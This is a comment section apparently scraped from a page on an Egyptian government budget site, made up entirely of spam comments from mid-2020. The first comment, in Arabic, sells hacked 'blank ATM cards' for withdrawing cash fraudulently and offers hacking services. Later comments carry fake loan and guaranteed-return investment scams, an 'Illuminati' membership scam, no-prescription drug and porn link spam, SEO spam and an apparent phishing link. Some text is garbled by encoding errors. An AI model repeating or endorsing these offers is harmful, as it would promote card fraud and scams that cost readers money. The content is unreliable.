يمكنك الحصول على شيء جديد !!! احصل على 5،500 يورو كل يوم لمدة سنتين! شاهد كيف يعمل ، هل تعلم أنه يمكنك اختراق أي جهاز صراف آلي (ATM) باستخدام بطاقة صراف آلي مخترقة ؟؟ اتخذ قرارك قبل التقديم ، صفقة مباشرة ... اطلب بطاقة صراف آلي فارغة الآن واحصل على الملايين في غضون أسبوع !: اتصل بنا عبر عنوان البريد الإلكتروني: anonymousblankatmcard@gmail.com لدينا بطاقات صراف آلي مبرمجة بشكل خاص يمكن استخدامها لاختراق أجهزة الصراف الآلي ، ويمكن استخدام بطاقات الصراف الآلي للسحب من أجهزة الصراف الآلي أو السحب ، في المتاجر ونقاط البيع. نبيع هذه البطاقات لجميع عملائنا والمشترين المهتمين في جميع أنحاء العالم ، ويبلغ حد السحب اليومي للبطاقة 5500 يورو على أجهزة الصراف الآلي وما يصل إلى 50000 يورو حد إنفاق في المتاجر اعتمادًا على نوع البطاقة التي تطلبها :: وأيضًا إذا كنت كذلك في حاجة إلى أي خدمات اختراق إلكتروني أخرى ، نحن هنا من أجلك في أي وقت وفي أي يوم. لمزيد من الاستفسارات ، راسلنا على anonymousblankatmcard@gmail.com

Leah

Tuesday, August 11, 2020

I am not positive the place you're getting your info, however good topic. I needs to spend some time studying much more or understanding more. Thank you for great information I was on the lookout for this info for my mission. derma roller size for acne scars derma roller size for acne scars

Shanna

Monday, August 10, 2020

Wonderful work! That is the kind of information that should be shared across the web. Shame on Google for now not positioning this post higher! Come on over and discuss with my site . Thank you =) treatments to get rid of acne scars treatments to get rid of acne scars

Earnestine

Monday, August 10, 2020

That is very fascinating, You're an overly skilled blogger. I have joined your feed and look forward to in search of extra of your excellent post. Also, I've shared your site in my social networks lemon to get rid of acne scars lemon to get rid of acne scars

LenkiosLic

Sunday, August 9, 2020

Одно из самых главных человеческих чувств-зрение, ведь именно оно дает понять и видеть нам как прекрасен этот мир. Без зрения жизнь блеклая и скучная, поэтому наша клиника с огромным удовольствием готова подарить Вам новый взор на жизнь своими глазами. Если у Вас или Ваших близких существуют проблемы с рождения или приобретались с возрастом, болезнью или иными ситуациями, то Вы попали по нужному адресу. Прочтите про [url=https://exci.ru/methods/glaukoma/]оперативное лечение глаукомы глаза[/url] на следующем интернет портале. Сайт expi.ru поведает Вам подробнее о нашей работе. Представляем полное обследование глаз, лечение дальнозоркости, близорукости, лазерные коррекции зрения различными новейшими методами, операции про глаукоме и катаракте и иные услуги. Самые известные услуги наших клиентов: лазерная коррекция зрения методами Ласик и Супер Ласик, оперативное лечение глаукомы по методике непроникающей глубокой склерэтомии, лечение катаракты с подбором линз (у нас имеется самый широкий ассортимент в республике), лечение вторичной катаракты, позволяющее навсегда избавиться от проблем со зрением и многие другие. Наш центр коррекции зрения «Экси» осуществляет работу уже более 20 лет, что оказывает нам огромный опыт в оперативной сфере. Наши клиенты доверяют нам собственное зрение и советуют нас своим близким и коллегам. Приходите и удостоверьтесь самостоятельно, что избавиться от очков навсегда - возможно! Наши врачи имеют самую высокую квалификацию, работа проводится на новом инновационном оборудовании, а результат, который Вы получите будет стабильным и лишь совершенствовать качество Вашей жизни. При всех вышеописанных достоинствах стоимость лечения очень невысокая. Если вдруг Ваше зрение в последнее время ощутимо испортилось, то прочитайте про [url=https://exci.ru/center/specialists/]экси ижевск третьяков[/url] уже сейчас. На нашем интернет ресурсе exci.ru Вы также сможете найти все контакты и способы записаться на прием. Адрес центра г. Ижевск, ул. Ленина 101. Телефон +7(3412)68-27-50. Позвоните, чтобы записаться на прием или задать любые вопросы, которые у Вас остались. Мы очень любим свою работу искренне, ведь дарить людям возможность видеть этот чудесный мир-бесподобно. Проблемы со зрением у людей могут появляться не только из-за возраста, но и в последствии перенесенных болезней глаз, травм химических или механических, глазных инфекций, после употребления лекарств, а также после долгой работы за ноутбуком, во время стрессов и иных болезней. Потерять зрение можно очень быстро, а вернуть бывает трудно. Необходимо регулярно посещать врача, который будет вести процесс Вашего зрения и вовремя обнаружит проблемы. Но если по каким-либо причинам Вы запустили своё зрение, то не стоит расстраиваться, мы Вам непременно поможем.

MelvinDow

Saturday, August 8, 2020

Drug information leaflet. Cautions. [url=https://lexapro2020.top/]how to buy cheap lexapro online[/url] Some what you want to know about meds. Read here. Medication information sheet. Short-Term Effects. [url=https://orderprozaconline.top/]buying cheap prozac medicine no prescription[/url] Actual what you want to know about medicine. Get here. Drugs information sheet. Effects of Drug Abuse. [url=https://buyprozac247.top/]can i get prozac 10 mg no prescription[/url] Actual about pills. Read now.

Parbriz Dodge Aries Estate 1980

Wednesday, August 5, 2020

I like the helpful information you provide on your articles. I will bookmark your weblog and test again right here frequently. I'm somewhat sure I will be told lots of new stuff right here! Good luck for the following! https://anunturi-parbrize.ro/parbriz-dodge-20.html

WILLIAM DERRICK

Wednesday, August 5, 2020

هل تحتاج إلى قرض مريح لرضاك؟ نحن نقدم قرض فائدة 3 ٪ بأسعار معقولة للمقترضين المحليين والدوليين. نحن معتمدون وجديرون بالثقة وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نمنح قرضًا طويل الأجل لمدة أقصاها 2 إلى 50 عامًا. هل تحتاج إلى قرض مباشر وبسيط وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب الائتمان الخاصة بك. هذا العرض للأشخاص الجادين. إذا كنت مهتمًا ، فيرجى الاتصال بنا عبر: البريد الإلكتروني: Americansloanfirm@gmail.com

Winifred Negrete

Tuesday, August 4, 2020

YOU NEED POTENTIAL CUSTOMERS THAT BUY FROM YOU ? I’m talking about a better promotion method than all that exists on the market right now, even better than email marketing. Just like you received this message from me, this is exactly how you can promote your business or product. Do you want more details or do you want to receive a TEST ? CHECK HERE=> https://bit.ly/Good_Promotion

GET WEBSITE TRAFFIC

Tuesday, August 4, 2020

YOU NEED QUALITY VISITORS for your: budget.gov.eg My name is Tim Flower, and I'm a Web Traffic Specialist. I can get: - visitors from search engines - visitors from social media - visitors from any country you want - very low bounce rate & long visit duration CLAIM YOUR 24 HOURS FREE TEST => https://bit.ly/3h750yC

Garrett

Tuesday, August 4, 2020

What i don't realize is if truth be told how you are not really much more neatly-favored than you might be right now. You are very intelligent. You recognize thus considerably in terms of this matter, produced me personally imagine it from so many various angles. Its like men and women aren't interested until it is something to accomplish with Girl gaga! Your own stuffs nice. Always maintain it up! https://www.youtube.com/watch?v=YJOpjv0NNSM Číńňđóěĺíň äë˙ óäŕëĺíč˙ âě˙ňčí íŕ ŕâňîěîáčëĺ https://www.youtube.com/watch?v=YJOpjv0NNSM Číńňđóěĺíň äë˙ óäŕëĺíč˙ âě˙ňčí íŕ ŕâňîěîáčëĺ

Henrietta

Monday, August 3, 2020

I really like it when folks come together and share opinions. Great site, stick with it! http://tamsulosin.suprax.site/difference-between-armour-and-levothyroxine-synthroid/about-singulair-10mg.html дженерик купить Москва http://tamsulosin.suprax.site/difference-between-armour-and-levothyroxine-synthroid/about-singulair-10mg.html дженерик купить Москва

Willy

Monday, August 3, 2020

Excellent post. I used to be checking constantly this weblog and I'm inspired! Very useful info particularly the final section : ) I deal with such info much. I was looking for this certain info for a long time. Thank you and best of luck. http://womandating.datinghip.site/s-and-m-dating.html kostenlos free porno http://womandating.datinghip.site/s-and-m-dating.html kostenlos free porno

Pasquale

Sunday, August 2, 2020

Hey there I am so excited I found your site, I really found you by mistake, while I was researching on Aol for something else, Anyways I am here now and would just like to say thank you for a incredible post and a all round enjoyable blog (I also love the theme/design), I don't have time to look over it all at the moment but I have book-marked it and also added in your RSS feeds, so when I have time I will be back to read much more, Please do keep up the awesome work. https://www.youtube.com/watch?v=za2vgkyrZ9g Číńňđóěĺíň pdr óäŕëĺíčĺ âě˙ňčí áĺç ďîęđŕńęč https://www.youtube.com/watch?v=za2vgkyrZ9g Číńňđóěĺíň pdr óäŕëĺíčĺ âě˙ňčí áĺç ďîęđŕńęč

Denny

Sunday, August 2, 2020

It's a shame you don't have a donate button! I'd without a doubt donate to this fantastic blog! I guess for now i'll settle for book-marking and adding your RSS feed to my Google account. I look forward to brand new updates and will share this blog with my Facebook group. Chat soon! http://viagra.topamax.site/zofran-pediatrics/can-taking-too-much-synthroid-make-it-difficult-to-loose-weight.html препарат для повышения потенции в москве http://viagra.topamax.site/zofran-pediatrics/can-taking-too-much-synthroid-make-it-difficult-to-loose-weight.html препарат для повышения потенции в москве

GREAT ILLUMINATI ORDER

Saturday, August 1, 2020

تحية من الأمر العظيم للإضاءة إلى الولايات المتحدة وفي جميع أنحاء العالم ، هذه فرصة مفتوحة للانضمام إلى جماعة الأخوين المتنورين حيث يمكنك استعادة أحلامك المفقودة ، وأيضًا حيث يمكنك رؤية نور الثروة والسعادة بدون أي تضحية بالدم. ونقوم أيضًا بدفع مبلغ 650.000 دولار أمريكي للترحيب بجميع الأعضاء الجدد عندما ينضمون إلى الأخوة وأيضًا منزل من اختيارهم وموقعهم بالاستثمارات ، إلى جانب هذه الفرصة في الحياة ليصبحوا مشهورين. الفوائد المعطاة لأعضاء جدد ينضمون إلى ILLUMINATI. 1. مكافأة نقدية قدرها 650.000 دولار أمريكي. 2. سيارة جديدة أنيقة من Dream Dream بقيمة 150.000 دولار أمريكي 3. اشترى منزل الأحلام في البلد الذي تختاره. شهر التعيين مع أفضل 5 في العالم. القادة وأهم 5 مشاهير في العالم. إذا كنت مهتمًا ، فيرجى الاتصال بعنوان البريد الإلكتروني السابق: greatilluminate99@gmail.com ملحوظة؛ هذه الأخوة المتنورين التي يمكنك الانضمام إليها من أي مكان في العالم الهند وتركيا وأفريقيا والولايات المتحدة وماليزيا ، دبي ، الكويت ، المملكة المتحدة ، النمسا ، ألمانيا ، أوروبا. آسيا ، أستراليا ، إلخ. تحياتي المعبد ILLUMINATI الولايات المتحدة

FerneGlymn

Saturday, August 1, 2020

Hello my friend. Our employees wrote to you yesterday maybe... Can I offer paid advertising on your site?

Eli

Friday, July 31, 2020

It's impressive that you are getting ideas from this post as well as from our discussion made at this time. http://onlinedating.datinghip.site/dating-chat-sites-uk.html online porn hd incest http://onlinedating.datinghip.site/dating-chat-sites-uk.html online porn hd incest

Federico

Friday, July 31, 2020

Hi! I'm at work browsing your blog from my new iphone! Just wanted to say I love reading through your blog and look forward to all your posts! Keep up the outstanding work! http://sexwebsite.datinghip.site/how-do-online-dating-sites-advertise.html amateur sex video wife http://sexwebsite.datinghip.site/how-do-online-dating-sites-advertise.html amateur sex video wife

Bridget Ramirez

Thursday, July 30, 2020

Are You interested in advertising that costs less than $49 per month and delivers thousands of people who are ready to buy directly to your website? For details visit: https://bit.ly/buy-more-visitors

Aida

Tuesday, July 28, 2020

When I originally commented I clicked the "Notify me when new comments are added" checkbox and now each time a comment is added I get four e-mails with the same comment. Is there any way you can remove people from that service? Cheers! http://italiandating.datinghip.site/most-successful-dating-sites.html gay teen boy free porn http://italiandating.datinghip.site/most-successful-dating-sites.html gay teen boy free porn

Tawnya

Tuesday, July 28, 2020

Keep on writing, great job! http://onlinedating.datinghip.site/seniors-dating-calgary.html the fear porn http://onlinedating.datinghip.site/seniors-dating-calgary.html the fear porn

Sharyl

Tuesday, July 28, 2020

It's awesome to visit this web page and reading the views of all friends concerning this post, while I am also eager of getting familiarity. http://italiandating.datinghip.site/best-dating-sites-in-india-for-married.html big asian tit porn http://italiandating.datinghip.site/best-dating-sites-in-india-for-married.html big asian tit porn

Kelley

Monday, July 27, 2020

Hello! I just wanted to ask if you ever have any trouble with hackers? My last blog (wordpress) was hacked and I ended up losing several weeks of hard work due to no backup. Do you have any solutions to protect against hackers? http://viagra.topamax.site/is-acyclovir-as-effective-as-valtrex/pulsatile-tinnitus-synthroid.html супер п форсе купить с доставкой http://viagra.topamax.site/is-acyclovir-as-effective-as-valtrex/pulsatile-tinnitus-synthroid.html супер п форсе купить с доставкой

Taren

Monday, July 27, 2020

whoah this blog is great i like studying your posts. Stay up the good work! You know, a lot of persons are hunting around for this information, you can help them greatly. https://www.youtube.com/watch?v=TFJEzid5vLQ Číńňđóěĺíň äë˙ óäŕëĺíč˙ âě˙ňčí íŕ ěŕřčíĺ https://www.youtube.com/watch?v=TFJEzid5vLQ Číńňđóěĺíň äë˙ óäŕëĺíč˙ âě˙ňčí íŕ ěŕřčíĺ

Mitchel Chance

Monday, July 27, 2020

Sick of paying big bucks for ads that suck? Now you can post your ad on 10,000 ad sites and you only have to pay a single monthly fee. Get unlimited traffic forever! Check out our site now: https://bit.ly/continual-free-traffic

Johnnie Heinrich

Saturday, July 25, 2020

Greetings, I was just taking a look at your site and submitted this message via your feedback form. The feedback page on your site sends you messages like this to your email account which is the reason you are reading my message at this moment correct? This is half the battle with any kind of online ad, making people actually READ your advertisement and I did that just now with you! If you have something you would like to blast out to lots of websites via their contact forms in the US or anywhere in the world send me a quick note now, I can even focus on specific niches and my charges are very reasonable. Write an email to: jessiesamir81@gmail.com no more ads https://bit.ly/3eTzNib

Penelope

Saturday, July 25, 2020

I read this post completely concerning the comparison of most up-to-date and earlier technologies, it's amazing article. http://pharmacy.ventolin.site/asthma-children-singulair/suprax-medication.html дженерик сиалис новосибирск http://pharmacy.ventolin.site/asthma-children-singulair/suprax-medication.html дженерик сиалис новосибирск

Morris

Friday, July 24, 2020

Magnificent items from you, man. I've consider your stuff previous to and you're just too great. I actually like what you've got here, certainly like what you are stating and the best way in which you are saying it. You are making it entertaining and you continue to take care of to keep it wise. I can't wait to learn far more from you. This is actually a great website. what is the difference between hemp oil & cbd what is the difference between hemp oil & cbd

Frank Robinson

Friday, July 24, 2020

إن عرضنا المقترح للعملاء في العام الجديد هو التزام إيجابي وتام ، لذا فإن العمل معنا يمنحك أقصى قدر من الضمانة للحصول على تمويل للحصول على تصنيف A + في التمويل. حصلت شركة Frank Loan Services (FLS) على مر السنين على تصنيف عالٍ كواحدة من أفضل الشركات عبر الإنترنت ذات سعر فائدة أرخص. إذا كنت بحاجة إلى تمويل ، فلا تتردد في الاتصال بنا عبر الهاتف (+ 1-713-389-6778) أو البريد الإلكتروني: k.frankloans@gmail.com

Sharee Hackney

Thursday, July 23, 2020

Good evening, I was just taking a look at your website and filled out your contact form. The contact page on your site sends you these messages to your email account which is the reason you are reading my message right now right? This is the most important accomplishment with any kind of online ad, getting people to actually READ your advertisement and this is exactly what you're doing now! If you have an ad message you would like to blast out to lots of websites via their contact forms in the US or anywhere in the world let me know, I can even focus on specific niches and my costs are super reasonable. Write an email to: jessiesamir81@gmail.com

carlos oscar

Wednesday, July 22, 2020

* استخدم فترة الإغلاق هذه للاستثمار وابدأ في الكسب مباشرة من منزلك ..... Inbox me للبدء! * استثمر 300 دولار لتربح 3000 دولار استثمر 400 دولار لتربح 4000 دولار استثمر 500 دولار لتربح 5000 دولار استثمر 600 دولار لتربح 6000 دولار استثمر 700 دولار لتربح 7000 دولار استثمر 8000 دولار لتربح 80 ألف دولار استثمر 9000 دولار لتربح 90.000 دولار كل ذلك في 7 أيام ربح و 100٪ عائد مضمون.إذا كنت مهتمًا بالاستثمار معنا اتصل بنا الآن عبر WhatsApp +15022064419 أو البريد الإلكتروني tradewithcarlos2156@gmail.com

Aaliyah

Wednesday, July 22, 2020

مرحبا صباح الخير ، أود أن أشكر المستثمر محمد لمساعدتي في تسوية ديوني دون ضغوط. اعتقدت في البداية أنه سينتهي بالاحتيال ولكن بالأمس أثبت لي خطأ أنني شعرت بالبكاء ولكن الآن أعتقد أنك تشكر جزيل الشكر مرة أخرى وقد يرحم الله عملك الجيد باستمرار لذا أود أن أشارك بريدك الإلكتروني أبدًا إذا أخبرتني لا نأسف على العصيان. لذا يجب على أي شخص مهتم بالحصول على قرض مضمون الاتصال بمعلومات: mohammed_investors2009@hotmail.com أو @ whatsapp: 447723727114+

Aaliyah

Wednesday, July 22, 2020

مرحبا صباح الخير ، أود أن أشكر المستثمر محمد لمساعدتي في تسوية ديوني دون ضغوط. اعتقدت في البداية أنه سينتهي بالاحتيال ولكن بالأمس أثبت لي خطأ أنني شعرت بالبكاء ولكن الآن أعتقد أنك تشكر جزيل الشكر مرة أخرى وقد يرحم الله عملك الجيد باستمرار لذا أود أن أشارك بريدك الإلكتروني أبدًا إذا أخبرتني لا نأسف على العصيان. لذا يجب على أي شخص مهتم بالحصول على قرض مضمون الاتصال بمعلومات: mohammed_investors2009@hotmail.com أو @ whatsapp: 447723727114+

mr scott

Wednesday, July 22, 2020

مرحبًا ، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وبأسعار معقولة لدفع الدين ، أو بدء عمل تجاري أو لسبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. هذا العرض للأشخاص الجادين. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com WhatsApp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. تحياتي الحارة، السيد سكوت accessloanfirm2030@gmail.com

Bethany

Tuesday, July 21, 2020

Hello, yeah this article is actually pleasant and I have learned lot of things from it concerning blogging. thanks. https://www.youtube.com/watch?v=tONh0DfYLWo Íŕáîđ pdr číńňđóěĺíňŕ äë˙ óäŕëĺíč˙ âě˙ňčí https://www.youtube.com/watch?v=tONh0DfYLWo Íŕáîđ pdr číńňđóěĺíňŕ äë˙ óäŕëĺíč˙ âě˙ňčí

carlos oscar

Monday, July 20, 2020

مرحبًا أيها المشاهد نحن متداولون محترفون ، نربح على الفوركس وثنائي للمستثمرين أسبوعيًا ، نود أن نخبرك بالمزيد حول منصة الاستثمار الخاصة بنا حيث يمكنك استثمار الأموال بمبلغ بسيط يصل إلى 200 دولار والبدء في كسب 2000 دولار أسبوعيًا ، وقد استفاد الكثير من الأشخاص من هذا الاستثمار العرض قبل وأثناء هذا الفيروس كونفيد 19 ، إذا كنت تواجه صعوبات مالية بسبب هذا الفيروس التاجي وتحتاج إلى مساعدة في دفع الفواتير ببساطة اختر خطة استثمارية مناسبة لنفسك وابدأ في تحقيق الربح أسبوعيًا 200 دولار لكسب 2000 دولار في 7 أيام 300 دولار لكسب 3000 دولار في 7 أيام 500 دولار لكسب 5000 دولار في 7 أيام 1000 دولار لكسب 10000 دولار في 7 أيام 5000 دولار لكسب 50000 دولار في 7 أيام لبدء الاستثمار الخاص بك الآن WhatsApp: +15022064419 أو البريد الإلكتروني tradewithcarlos2156@gmail.com

carlos oscar

Sunday, July 19, 2020

مرحبًا أيها المشاهد نحن متداولون محترفون ، نربح على الفوركس وثنائي للمستثمرين أسبوعيًا ، نود أن نخبرك بالمزيد حول منصة الاستثمار الخاصة بنا حيث يمكنك استثمار الأموال بمبلغ بسيط يصل إلى 200 دولار والبدء في كسب 2000 دولار أسبوعيًا ، وقد استفاد الكثير من الأشخاص من هذا الاستثمار العرض قبل وأثناء هذا الفيروس كونفيد 19 ، إذا كنت تواجه صعوبات مالية بسبب هذا الفيروس التاجي وتحتاج إلى مساعدة في دفع الفواتير ببساطة اختر خطة استثمارية مناسبة لنفسك وابدأ في تحقيق الربح أسبوعيًا 200 دولار لكسب 2000 دولار في 7 أيام 300 دولار لكسب 3000 دولار في 7 أيام 500 دولار لكسب 5000 دولار في 7 أيام 1000 دولار لكسب 10000 دولار في 7 أيام 5000 دولار لكسب 50000 دولار في 7 أيام لبدء الاستثمار الخاص بك الآن WhatsApp: +15022064419 أو البريد الإلكتروني tradewithcarlos2156@gmail.com

Anita

Sunday, July 19, 2020

Hi there, just became alert to your blog through Google, and found that it is truly informative. I am gonna watch out for brussels. I'll appreciate if you continue this in future. Many people will be benefited from your writing. Cheers! http://datingfree.datinghip.site/women-on-dating-sites.html tu be porn http://datingfree.datinghip.site/women-on-dating-sites.html tu be porn

Rafael Mollison

Sunday, July 19, 2020

The best SEO & Most Powerful link building software for your business. I just checked out your website budget.gov.eg and wanted to find out if you need help for SEO Link Building ? If you aren't using SEO Software then you will know the amount of work load involved in creating accounts, confirming emails and submitting your contents to thousands of websites. With THIS SOFTWARE the link submission process will be the easiest task and completely automated, you will be able to build unlimited number of links and increase traffic to your websites which will lead to a higher number of customers and much more sales for you. IF YOU ARE INTERESTED, We offer you 7 days free trial => https://bit.ly/2ZPZrOn

Jamison

Sunday, July 19, 2020

I am really impressed with your writing skills as well as with the layout on your weblog. Is this a paid theme or did you customize it yourself? Either way keep up the excellent quality writing, it is rare to see a great blog like this one today. http://clayton.topamax.site/reverse-tetracycline-transactivator-sequence-rules/viagra-treehouse-location.html виагра для женщин купить Москва http://clayton.topamax.site/reverse-tetracycline-transactivator-sequence-rules/viagra-treehouse-location.html виагра для женщин купить Москва

Marina

Sunday, July 19, 2020

Hi, i believe that i noticed you visited my weblog so i got here to go back the want?.I'm attempting to in finding issues to enhance my site!I guess its adequate to use a few of your concepts!! http://datingsex.datinghip.site/best-gay-dating-app-los-angeles.html shemale tube free shemale porn videos http://datingsex.datinghip.site/best-gay-dating-app-los-angeles.html shemale tube free shemale porn videos

Russ

Saturday, July 18, 2020

Heya i'm for the first time here. I came across this board and I find It truly useful & it helped me out a lot. I hope to give something back and aid others like you aided me. http://girls.datinghip.site/online-dating-sites-that-don-39.html cinderella porno http://girls.datinghip.site/online-dating-sites-that-don-39.html cinderella porno

Sienna

Saturday, July 18, 2020

I believe everything said made a great deal of sense. However, think about this, suppose you added a little information? I mean, I don't wish to tell you how to run your blog, however what if you added something that makes people desire more? I mean الموازنة العامة للدولة is kinda vanilla. You ought to look at Yahoo's front page and watch how they write post headlines to grab people interested. You might add a related video or a picture or two to grab readers excited about what you've got to say. In my opinion, it might bring your posts a little livelier. http://canada.suprax.site/tetracycline-stain-teeth-whitening/how-long-does-a-25-mg-viagra-last.html дапоксетин в Ростов-на-Дону http://canada.suprax.site/tetracycline-stain-teeth-whitening/how-long-does-a-25-mg-viagra-last.html дапоксетин в Ростов-на-Дону

Geraldo

Friday, July 17, 2020

I visited several web pages except the audio feature for audio songs present at this website is really superb. laser treatment for acne scars cost in south africa laser treatment for acne scars cost in south africa (nonstopacne.site)

Carl

Friday, July 17, 2020

What's up every one, here every person is sharing these know-how, therefore it's good to read this weblog, and I used to go to see this blog everyday. http://calan.suprax.site/safe-places-to-buy-viagra/zithromax-dosage-instructions.html виагра цена в Екатеринбурге http://calan.suprax.site/safe-places-to-buy-viagra/zithromax-dosage-instructions.html виагра цена в Екатеринбурге

Florene Kinsey

Friday, July 17, 2020

Hi, I was just taking a look at your site and submitted this message via your "contact us" form. The "contact us" page on your site sends you these messages via email which is why you are reading through my message at this moment correct? That's the most important accomplishment with any kind of online ad, making people actually READ your ad and I did that just now with you! If you have an ad message you would like to promote to lots of websites via their contact forms in the U.S. or anywhere in the world send me a quick note now, I can even focus on specific niches and my prices are very reasonable. Send a reply to: stephanyrishigq53@gmail.com

Suzanna

Thursday, July 16, 2020

always i used to read smaller articles or reviews that also clear their motive, and that is also happening with this piece of writing which I am reading now. http://datingsex.datinghip.site/lesbian-sex-dating-sites-uk.html hamster video xxx http://datingsex.datinghip.site/lesbian-sex-dating-sites-uk.html hamster video xxx

Ashley Bracegirdle

Thursday, July 16, 2020

Hi I have spoken with someone from your team at budget.gov.eg some time ago about our CBD Shop Database. You can learn about and download the latest copy of the CBD Shop Database at https://creativebeartech.com/product/global-hemp-and-cbd-shops-database-with-contact-details Global hemp and CBD shops database contains the contact details of all hemp and CBD shops, wholesalers, brands and manufacturers. CBD Store Marketing List is ideal for all forms of B2B marketing, including newsletters and email blasts, social media campaigns, telesales and more. Reach up to 20,000 CBD businesses across the world. Free lifetime updates to your CBD Business List. Instant access upon payment. The global hemp and cbd shops database contains a list of all types of CBD shops, manufacturers and wholesalers, etc. We have made a major update to the CBD. We have scraped all the CBD company emails and decided to eliminate the bigger part of the vape shops with the aim of making this CBD database more targeted. We have still kept the vape shops that sell CBD products. You will now find approximately 20,000 CBD shops, brands, wholesalers, manufacturers, magazines, blogs and all the sites related to CBD or sites that have written about CBD. We cast our net very wide as some of our customers wanted to have a database with not only CBD shops but virtually all CBD-related businesses and even sites that have published about CBD products. You can now also use this database for guest blog post outreach campaigns to build up your brand exposure and backlink profile. We have made some new changes to the structure of the files. You will receive the master database with all the CBD companies in an Excel format as well as a separate file with ONLY CBD-related emails (this is more for anyone looking to use emails for newsletter campaigns and email blasts). We have also divided up the entire CBD email list according to top-level domains (TLDS) and saved them in separate files inside a separate folder. You can now target CBD companies according to their regions and domain names, i.e. .com, co.uk, .com.au, .fr, .de, .ru and so on. As usual, we have cleaned the entire email list using our 3-level email verification: syntax, domains and email inboxes. You may also be interested in our Health Food Shops Email List - B2B Mailing List of Health Shops https://creativebeartech.com/product/health-food-shops-email-list-b2b-mailing-list-of-health-shops/

Chad

Wednesday, July 15, 2020

I think everything composed was actually very logical. But, think on this, suppose you were to write a awesome headline? I ain't suggesting your content isn't solid, but what if you added a title that makes people want more? I mean الموازنة العامة للدولة is a little boring. You should peek at Yahoo's home page and watch how they write article titles to get viewers to open the links. You might add a video or a picture or two to get people excited about everything've got to say. In my opinion, it could make your blog a little bit more interesting. what is cbd oil used for what is cbd oil used for

Tonia Hoff

Wednesday, July 15, 2020

Hey My package was damaged for the second time. I made a photo so that you can see what I have received. https://imgurgallery.com/dt54rfd I hope you can help me solve this problem. Yours truly Tonia Hoff "Sent from my Smart Phone"

Carlos Oscar

Tuesday, July 14, 2020

هل أنت مهتم بتداول بيتكوين ثنائي وتجارة الفوركس حيث يمكنك كسب 100 ٪ من استثمارك يوميًا إذا استثمرت بمبلغ منخفض يصل إلى 200 دولار ، فستحصل على ربح قدره 2000 دولار بعد 72 ساعة. اتصل بنا عبر البريد الإلكتروني: tradewithcarlos2156@gmail.com أو whatsapp: +1 (502) 2064419

Carlos Oscar

Sunday, July 12, 2020

هل أنت مهتم بتداول بيتكوين ثنائي وتجارة الفوركس حيث يمكنك كسب 100 ٪ من استثمارك يوميًا إذا استثمرت بمبلغ منخفض يصل إلى 200 دولار ، فستحصل على ربح قدره 2000 دولار بعد 72 ساعة. اتصل بنا عبر البريد الإلكتروني: tradewithcarlos2156@gmail.com أو whatsapp: +1 (502) 2064419

Flor Dorron

Wednesday, July 8, 2020

TITLE: Are YOU Building Your Own DREAMS Or Has SOMEONE ELSE Hired You To Build THEIRS?  DESCRIPTION: Have you ever looked at sites like Google or Facebook and asked yourself…“How can they make SO MUCH MONEY when they aren’t even really selling any products?!?!” Well, Google and Facebook are cashing in on their platforms. They’re taking advantage of the millions of people who come to their sites…Then view and click the ads on their pages. Those sites have turned into billion dollar companies by getting paid to send traffic to businesses. Did You Know That More People Have Become Millionaires In The Past Year Than Ever Before? Did You Know You Can Make Money By Becoming A Traffic Affiliate? Watch Our Video & Discover The Easy 1-Step System Our Members Are Using To Get Paid Daily. URL: https://bit.ly/retirement-biz

Valorie

Tuesday, July 7, 2020

Howdy! I'm at work browsing your blog from my new iphone 4! Just wanted to say I love reading your blog and look forward to all your posts! Keep up the excellent work! how much does cbd oil cost how much does cbd oil cost

Dianne Monzon

Monday, July 6, 2020

Hi Guys! I am writing to introduce our SEO company to you as I really feel that you and budget.gov.eg could benefit from one of our tailored Vape and CBD SEO backlink packages. Creative Bear Tech is a relatively small SEO company with a personal approach that is presently working exclusively with Vape and CBD brands. We have over 20 large vape, cannabis and CBD companies as our long-term clients. We have offices in the UK and the Baltic States with 20 people working with us. I feel that you could really benefit from our vape and CBD SEO package just like our current clients have done. During the course of the last 7 years, we have tremendously grown our resources and knowledge of the vaping and CBD industries. We have also been busy testing and refining SEO backlinking strategies. We have found an SEO sweet spot and have created a custom backlink package that contains everything that you need to rank your site. We really value transparency and this is precisely why we have laid out what you would get with your package and explained the thought process behind each task and how it will help you to achieve traffic and sales. We understand the industry, SEO and what works and what does not. If you are looking to go big and leave the "small timers'" lane, I suggest that you give this package some serious thought. You can view the entire SEO backlinks package here: https://creativebeartech.com/product/monthly-seo-backlinks-package-for-hemp-and-cbd-shops-and-brands/ Note of caution: I will be taking on 5 more serious clients as this is exactly what we have the resources for. I look forward to working with you! Regards

Deidre Goodfellow

Saturday, July 4, 2020

No more paying way too much money for ripoff Google advertising! Let me show you a method that needs only a tiny bit of cash and generates an almost indefinite volume of web visitors to your website Check out our site now: http://www.adposting-onautopilot.xyz

mr scott

Saturday, July 4, 2020

يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

mr scott

Saturday, July 4, 2020

